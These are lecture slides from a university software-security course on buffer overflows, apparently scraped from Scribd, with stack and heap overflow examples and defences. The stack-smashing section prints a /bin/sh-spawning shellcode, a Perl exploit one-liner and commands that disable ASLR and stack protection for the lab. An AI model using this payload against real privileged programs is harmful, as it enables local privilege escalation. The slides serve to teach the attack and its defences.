0% found this document useful (0 votes)
37 views

Chapter 3 - Software Security

gdb ./ex1.out (gdb) run "A" * 48 Program received signal SIGSEGV, Segmentation fault. 0x44434241 in ?? () (gdb) info registers eip 0x44434241 0x44434241 esp 0xbffff2f0 0xbffff2f0 ebp 0xbffff310 0xbffff310 The saved return address (eip) was overwritten with the string "DCBA", causing a segmentation fault when the function tries to return to that invalid address. Examining the registers shows the overwritten eip value.

Uploaded by

Pham Van Luong
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
37 views

Chapter 3 - Software Security

gdb ./ex1.out (gdb) run "A" * 48 Program received signal SIGSEGV, Segmentation fault. 0x44434241 in ?? () (gdb) info registers eip 0x44434241 0x44434241 esp 0xbffff2f0 0xbffff2f0 ebp 0xbffff310 0xbffff310 The saved return address (eip) was overwritten with the string "DCBA", causing a segmentation fault when the function tries to return to that invalid address. Examining the registers shows the overwritten eip value.

Uploaded by

Pham Van Luong
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 31

09/09/2022

 

Lecturer: Nguyễn Thị Thanh Vân – FIT - HCMUTE

 Software Security issues


 Sources of Software Vulnerabilities
 Process memory layout
 Software Vulnerabilities - Buffer overflows
o Stack overflow
o Heap overflow
 Attacks: code injection & code reuse
 Variations of Buffer Overflow
 Defense Against Buffer Overflow Attacks
o Stack Canary
o Address Space Layout Randomization (ASLR)
 Security in Software Development Life Cycle

07/09/2022 2

1
09/09/2022

 Insecure interaction between components


o Ex, invalidated input, cross-site scripting, buffer overflow, injection
flaws, and improper error handling

 Risky resource management


o Buffer Overflow
o Improper Limitation of a Pathname to a Restricted Directory
o Download of Code Without Integrity Check

 Leaky defenses
o Missing Authentication for Critical Function
o Missing Authorization
o Use of Hard-coded Credentials
o Missing Encryption of Sensitive Data

07/09/2022 3

 Bugs in the application or its infrastructure


o i.e. doesn't do what it should do
• E.g., access flag can be modified by user input
 Inappropriate features in the infrastructure
o i.e. does something that it shouldn't do
• functionality winning over security
• E.g., a search function that can display other users info
 Inappropriate use of features provided by the
infrastructure

 Main causes:
o complexity of these features
• functionality winning over security, again
o Ignorance (unawareness) of developers
07/09/2022 4

2
09/09/2022

07/09/2022 5

● Buffer Overflow also known as


● buffer overrun or
● buffer overwrite
● Buffer overflow is
● a common and persistent vulnerability

● Stack overflows
● buffer overflow on the Stack
● overflowing buffers to corrupt data

● Heap overflows
● buffer overflow on the Heap

3
09/09/2022

● The most common security problem in machine code


compiled from C & C++ ever since the Morris Worm in 1988
• Typically, attackers that can feed malicious input to a program can
full control over it, incl.
• services accessible over the network, eg. sendmail, web browser,
wireless network driver,
• applications acting on downloaded files or email attachments
• high privilege processes on the OS (eg. setuid binaries on Linux, as
SYSTEM services on Windows)
• embedded software in routers, phones, cars, ...
• Ongoing arms race of attacks & defences: attacks are getting
cleverer, defeating ever better countermeasures

Stack: store local variables in func,


store data related to function calls:
return address, arguments, (LIFO)

Heap: provide space for dynamic


memory allocation. This area is
managed by malloc, calloc …

BSS segment: stores uninitialized


static/global variables (zero)
Data segment : stores static/global
variables that are initialized by the
programmer
Text: stores the executable code of
the program (read-only)

4
09/09/2022

 how stack works and what information is stored on the stack


When func () is called, a
block of memory space
will be allocated on the
top of the stack, and it is
called stack frame

07/09/2022 10

5
09/09/2022

 Stack Pointer (esp) Register


 Stack Pointer
 Frame Pointer (ebp) Register.
 Frame Pointer
 Stack Frame.
 Return address
 The instruction pointer (eip)

07/09/2022 11

 Stack Pointer (esp) Register: Stores the memory address to which the stack
pointer ) is pointing to (the current top of the stack: pointing towards the low
memory end.
• The esp dynamically moves as contents are pushed and popped out of the
stack frame.
 Frame Pointer (ebp) Register: Stores the memory address to which the frame
pointer is pointing to (pointer points to a fixed location in the stack frame).
• The ebp typically points to an address (a fixed address), after the address
(facing the low memory end) where the old frame pointer is stored.
 Stack Frame: The activation record for a sub routine comprising of (in the order
facing towards the low memory end): parameters, return address, old frame
pointer, local variables.
 Return address: The memory address to which the execution control should
return once the execution of a stack frame is completed.
07/09/2022 12

6
09/09/2022

eip in 32-bit mode,


and rip in 64-bit mode

eip (the instruction pointer),


ebp (the stack frame pointer)
esp (the stack pointer).

void func(char *a1, int


a2, int a3)
{
char b1[12];
int b2;
int b3;

}
void main()
{
func(“hello”, 5, 6);
}

7
09/09/2022

 

 A buffer overflow: (programming error)


o attempts to store data beyond the limits of a fixed-sized buffer.
o overwrites adjacent memory locations:
• could hold other program variables or parameters or program control
flow data such as return addresses and pointers to previous stack
frames.
o The buffer could be located:
• on the stack,
• in the heap, or
• in the data section of the process.
o The consequences of this error include:
o corruption of data used by the program, unexpected transfer of
control in the program, possible memory access violations, and
very likely eventual program termination.

07/09/2022 16

8
09/09/2022

 Since 1988, stack overflows have led to the most serious


compromises of security.
 Nowadays, many operating systems have implemented:
o Non-executable stack protection mechanisms,
o and so the effectiveness of traditional stack overflow techniques
is lessened.

 Two types of Stack overflow


o A stack smash, overwriting the saved instruction pointer (eip)
• doesn’t check the length of the data provided, and simply places it
into a fixed sized buffer
o A stack off-by-one, overwriting the saved frame pointer (ebp)
• a programmer makes a small calculation mistake relating to lengths
07/09/2022
of strings within a program 17

 places data into a fixed sized buffer Saved eip


Code: ex1.c; gcc –o ex1.out ex1.c
ebp Saved ebp
int main(int argc, char *argv[])
{
char smallbuf[32];
strcpy(smallbuf, argv[1]);
printf("%s\n", smallbuf); Smallbuf(32)
return 0;
}
Run: ./ex1.out
esp
Input: <32ch: ok; >=32: error (ex, 48)
Segmentation fault (core dumped)
18

 The segmentation fault occurs as the main( ) function returns. Process


o pops the value 0x44434241 (“DCBA” in hexadecimal) from the stack,
o tries to fetch, decode, and execute instructions at that address. 0x44434241 doesn’t contain
07/09/2022 valid instructions

9
09/09/2022

 Crashing the program and examining the CPU registers, use:


$ gdb <execute_filename> #
(gdb) run <input_data> # result
(gdb) info registers # address of registers
(gdb) i r <reg_name> # address of reg_name (rip, rbp, rsp)
(gdb) p <fun_name> # return address of fun
(gdb) disassemble <fun_num> # assemble code
(gdb) info frame

07/09/2022

$ gdb ex1
(gdb) run ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
Starting program: ex1 ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
ABCDABCD (gdb) info register
Program received signal SIGSEGV, Segmentation fault. eax 0x0 0
0x44434241 in ?? ( ) ecx 0x4013bf40 1075035968
edx 0x31 49
 Both the saved ebp & eip have been overwritten ebx 0x4013ec90 1075047568
with the value 0x44434241.
esp 0xbffff440 0xbffff440
 When the main( ) function returns and the program
exits, the function epilogue executes, which takes ebp 0x44434241 0x44434241
the following actions using a last-in, first-out (LIFO) esi 0x40012f2c 1073819436
order: edi 0xbffff494 -1073744748
o Set esp to the same value as ebp eip 0x44434241 0x44434241
o Pop ebp from the stack, moving esp 4 bytes eflags 0x10246 66118
upward so that it points at the saved eip cs 0x17 23
o Return, popping the eip from the stack and ss 0x1f 31
moving esp 4 bytes upward again ds 0x1f 31
es 0x1f 31
fs 0x1f 31
gs 0x1f 31 20

10
09/09/2022

 Begin :esp 0xbffff440 0xbffff440


 (-32 byte):
(gdb) x/4bc 0xbfffff418
0xbfffff418: 65 'A' 66 'B' 67 'C' 68 'D'
 ():
(gdb) x/4bc 0xbfffff41c
0xbfffff41c: -28 'ä' -37 'û' -65 '¿' -33 'ß'
(gdb) x/4bc 0xbfffff414
0xbfffff414: 65 'A' 66 'B' 67 'C' 68 'D'

07/09/2022 21

 To exploit buffer overflow, an attacker needs to:


o Identify a buffer overflow vulnerability in some program
that can be triggered using externally sourced data under the
attacker’s control
o Understand how that buffer will be stored in the process’
memory, and hence the potential for corrupting memory locations
and potentially altering the execution flow of the program.

 Vulnerable programs may be identified through:


o (1) Inspection of program source;
o 2) Tracing the execution of programs as they process oversized
input or
o (3) Using automated tools (like fuzzing)

07/09/2022 22

11
09/09/2022

Attacker need to overcome to make the successful attack


using shellcode - the code to launch a shell
 How to get the shellcode into the buffer
o produce the sequence of instructions (shellcode) you wish to execute
and pass them to the program as part of the user input.
• => instruction sequence to be copied into the buffer (smallbuf). The
shellcode can’t contain NULL (\0) characters because these will terminate
the string abruptly.

 Executing the shellcode, by determining the memory


address for the start of the buffer
o Know or guess the location of the buffer in memory,
• => can overwrite the eip with the address and redirect execution to it.
o Use [NOP][shellcode][return address]

07/09/2022

07/09/2022 24

12
09/09/2022

07/09/2022 25

Finding the starting point of the malicious code

07/09/2022 Use Perl: $ ./printme `perl -e 'print “…” 26

13
09/09/2022

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = “/bin/sh”;
name[1] = NULL;
execve(name[0], name, NULL);
}
gdb lunch_shellcode -q
gdb) disassemble main
Dump of assembler code for function main:
0x00000000004004c4 <+0>: push %rbp
0x00000000004004c5 <+1>: mov %rsp,%rbp
0x00000000004004c8 <+4>: sub $0x10,%rsp
……
0x00000000004004e9 <+37>: mov %rcx,%rsi
0x00000000004004ec <+40>: mov %rax,%rdi
0x00000000004004ef <+43>: callq 0x4003c8 <execve@plt>
0x00000000004004f4 <+48>: leaveq
07/09/2022 0x00000000004004f5 <+49>: retq 27

stack frame with 32 characters


a simple piece of 24-byte Linux
shellcode that spawns a local /bin/sh Saved eip
command shell:
ebp Saved ebp
"\x31\xc0\x50\x68\x6e\x2f\x73\x68“
"\x68\x2f\x2f\x62\x69\x89\xe3\x99“
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

 the start location of the shellcode: Smallbuf(32)

o use \x90 no-operation (NOP) instructions


to pad out the rest of the buffer.
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x50\x68\x6e\x2f\x73\x68" esp
"\x68\x2f\x2f\x62\x69\x89\xe3\x99" 0xbffff418
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
"\xef\xbe\xad\xde\x18\xf4\xff\xbf

07/09/2022 28

14
09/09/2022

07/09/2022 29

 Because many of the characters are binary, and not printable, you must
use Perl (or a similar program) to send the attack string to
the ex1 program

# ./ex1 `perl -e 'print "\x90\x90\x90\x90\x90\x90\x90\x90\x31

\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52

\x53\x89\xe1\xb0\x0b\xcd\x80\xef\xbe\xad\xde\x18\xf4\xff\xbf";'`

1ÀPhn/shh//biãRSá°

Í
$
 If this program is running as a privileged user (such as root in Unix
environments), the command shell inherits the permissions of the parent
process that is being overflowed

07/09/2022 30

15
09/09/2022

 a nested function to perform the copying of the string into the buffer.
If the string is longer than 32 characters, it isn’t processed.
Code: ex2.c
int main(int argc, char *argv[])
{
if(strlen(argv[1]) > 32)
{printf("Input string too long!\n");
exit (1);
}
vulfunc(argv[1]);
return 0;
} Input:
int vulfunc(char *arg) > 32 ch: -> Input string too long!
{ <32 ch: -> printf
=32 ch: Segmentation fault (core dumped)
char smallbuf[32];
strcpy(smallbuf, arg);
printf("%s\n", smallbuf);
return 0;
} 31
07/09/2022

# ./ex2 test
test
# ./ex2 ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
Input string too long!
# ./ex2 ABCDABCDABCDABCDABCDABCDABCDABC
ABCDABCDABCDABCDABCDABCDABCDABC
# ./ex2 ABCDABCDABCDABCDABCDABCDABCDABCD
ABCDABCDABCDABCDABCDABCDABCDABCD
Segmentation fault (core dumped)

07/09/2022 32

16
09/09/2022

stack frame with 31 characters

Saved eip

ebp Saved ebp

Smallbuf(32)

esp

07/09/2022 33

stack frame with 32 characters stack frame with 32c is moved downward

Saved eip Saved eip

ebp Saved ebp ebp Saved ebp

Smallbuf(32)

eip
ebp esp

esp
First, the saved ebp is popped and changed to 0xbffff800,
the least significant byte of the saved ebp is The ebp has been slid down to a lower address.
overwritten, changing it from 0xbffff81c to 0xbffff800 Popping the new saved eip (ebp+4, 0x44434241)
07/09/2022 34

17
09/09/2022

 In essence, the way in which to exploit this off-by-one bug is to


achieve a main( ) stack frame layout
The target main( ) stack frame layout

Saved eip

ebp Saved ebp

oxbffff808

oxbffff804
0xbffff800

07/09/2022 35

 

18
09/09/2022

Start of Size of the


 heap overflows first chunk pre chunk
o dynamically allocate buffers of Size of this
varying sizes first chunk
mem pointer
o are reliant on the way certain OSs
and libraries manage heap
memory.
o can result in compromises of Start of
second chunk Size of the
• sensitive data (overwriting first chunk
Size of this
filenames and other variables) next chunk
PREV_INUSE
bit set
• logical program flow (through heap
control structure and function
pointer modification).

0xffffffff
07/09/2022
37

 Buffer overflows that occur in the heap data area.


o Typical heap manipulation functions: malloc()/free()

Higher Address
Stack char* p = malloc
(256);
memset (p, ‘A’, 1024);

Heap
Lower Address

19
09/09/2022

 Overwrite the function pointer in the adjacent buffer

Higher Address
Function Pointer Function Pointer
Chunk 2

Chunk 1

Before heap overflow After heap overflow

Size of the
previous chunk
buff1
int main(void)
{ Size of this chunk
(48 bytes),
char *buff1, *buff2; with PREV_INUSE
buff1 = malloc(40); bit set
buff2 = malloc(40);
gets(buff1);
free(buff1);
exit(0);
Size of the
}
previous chunk
There is no checking imposed
on the data fed into buff1 by buff1
gets( ), Size of this chunk
(48 bytes),
=> a heap overflow can occur. with PREV_INUSE
Warning: the `gets' bit set
function is dangerous
and should not be used”.

07/09/2022 40

20
09/09/2022

 Code injection attack


attacker inserts his own shell code in a buffer and
corrupts the return addresss to point to this code
Ex, exec (/bin/sh)
This is the “classic” buffer overflow attack
[Smashing the stack for fun and profit, Aleph One, 1996]

 Code reuse attack


attacker corrupts the return address to point to existing
code,
Ex , format_hard_disk

07/09/2022 41

 The stack consists of Activation Records:

07/09/2022 42

21
09/09/2022

● Return-to-libc: the return address is overwritten to point


to a standard library function.

● OpenSSL Heartbleed Vulnerability: read much more


of the buffer than just the data, which may include
sensitive data.

 Create 1 fake frame on the stack


 After an overflowed function returns…
 …set the eip return address to the new function
 Append the fake frame
 New function executes
o Parameters consumed from the fake frame
 System(“/bin/sh”)

07/09/2022 44

22
09/09/2022

 Function is vulnerable to a stack overflow

Code:
void func1(char *s)
{
char buffer[80];
strcpy(buffer, s);
printf("%s\n", buffer);
return 0;
}

 If s points to string that is larger than 80, stack overflow


 Returned address is overwritten with a value of stack
 When func1() returns, eip may be located another address.
 Consequently, overwrite
07/09/2022 45

• Use type safe languages


• No execute bit
• Address space randomization
• Canaries
• Avoid known bad libraries

23
09/09/2022

 Why are some languages safe?


o Buffer overflow becomes impossible due to runtime system checks
 The drawback of secure languages
o Possible performance degradation
 The language...
o Should be strongly typed
o Should do automatic bounds checks
o Should do automatic memory management
 Examples of Safe languages: Java, C++, Python
 When Using Unsafe Languages:
o Check input (ALL input is EVIL)
o Use safer functions that do bounds checking
o Use automatic tools to analyze code for potential unsafe functions.
08/09/2022 47

What if gets() reads more than 8 bytes ? What if gets() reads more than 8 bytes ?
Attacker can jump to any point in the code! Attacker can even jump to his own code in
buffer! (shell code)

Never
use gets()
07/09/2022 48

24
09/09/2022

Analysis Tools…
●Can flag potentially unsafe
functions/constructs
●Can help mitigate security lapses,
but it is really hard to eliminate all
buffer overflows.

Examples of analysis tools can be found at:


https://www.owasp.org/index.php/Source_Code_Analysis_Tools

Stack Canaries: (canaries in coal mines)


 A random canary value is written just before a return address is
stored in a stack frame
 Any attempt to rewrite the address using buffer overflow will result in
the canary being rewritten and an overflow will be detected.
High addr

Low addr
 Result: increases the difficulty of using buffer overflow to attack
 it forces the attacker to take control of the pointer using non-classical
methods - corrupting other important variables in the cache.

25
09/09/2022

n Canary for tamper detection

… Before using the return address,


check if the canary value on stack is the
Injected same as value stored in a register
code
Return Overwriting return
address address will always
Canary overwrite the canary value

Stack passwordok Unbounded


growth
userid write
direction
overwrites
contents
password of stack

n No code execution on stack

 A careful attacker can defeat this protection, by


o overwriting the canary with the correct value
o corrupting a pointer to point to the return address

 Three types of canaries. StackGuard support all three


o Terminator: include string termination characters in the canary value,
o Random: use a random value for the canary
o Random XOR: XOR this random value with the return address
08/09/2022 52

26
09/09/2022

 Ubuntu and other Linux distributions have implemented


several security mechanisms to make the buffer-overflow
attack difficult.
o To simply our attacks, we need to disable them first.
 Security mechanisms:
o Address Space Layout Randomization (ASLR)
o The StackGuard Protection Scheme
o Use a non-executable stack

08/09/2022 53

 Ubuntu and several other Linux uses address space


randomization to randomize the starting address of heap
and stack.
o This makes guessing the exact addresses difficult; guessing
addresses is one of the critical steps of buffer-overflow attacks.
 Need disable these features using the following
commands:
o sysctl -w kernel.randomize_va_space=0

07/09/2022 54

27
09/09/2022

 The GCC compiler implements a security mechanism


called ”Stack Guard” to prevent buffer overflows.
o In the presence of this protection, buffer overflow will not work.
 You can disable this protection: ex
o gcc -fno-stack-protector example.c

07/09/2022 55

 Ubuntu used to allow executable stacks, but this has now


changed:
o the binary images of programs (and shared libraries) must declare
whether they require executable stacks or not, i.e., they need to mark
a field in the program header.
o Kernel or dynamic linker uses this marking to decide whether to make
the stack of this running program executable or non-executable.
o This marking is done automatically by the recent versions of gcc, and
by default, the stack is set to be non-executable.
 To change that, use the following option when compiling
programs:
o For executable stack:
$ gcc -z execstack -o test test.c
o For non-executable stack:
$ gcc -z noexecstack -o test test.c

07/09/2022 56

28
09/09/2022

●Do stack canaries prevent return-to-libc buffer overflow


attacks? Yes No
●Does ASLR protect against read-only buffer overflow
attacks?
Yes No
●Can the OpenSSL heartbleed vulnerability be avoided
with non-executable stack?
Yes No

07/09/2022 58

29
09/09/2022

● Software Security issues


● Sources of Software Vulnerabilities
● Process memory layout
● Software Vulnerabilities - Buffer overflows
●Stack overflow
●Heap overflow
● Attacks: code injection & code reuse
● Variations of Buffer Overflow
● Defense Against Buffer Overflow Attacks
●Stack Canary
●Address Space Layout Randomization (ASLR)
● Security in Software Development Life Cycle

 Install a distro of Linux:


o Ubuntu
o CentOS
 Install c compiler: gcc(or cc)
o Check: gcc –v
o Install: yum install gcc; or apt-get install gcc
 Install gdb:
o Check: gdb –v
o Install: yum install gdb; or apt-get install gdb
o Or: download package gdb and install
• Download: Binary Package: gdb-7.2-92.el6.x86_64.rpm
• Run install

07/09/2022 60

30
09/09/2022

 Follow slide on class


o Ex1 – Stack Smashing
o Ex2 - A stack off-by-one
 Chapter 3 - LAB - Software Security Smashing Attack
 Crashing the program and examining the CPU registers
 Shellcode

09/09/2022 61

07/09/2022 62

31

You might also like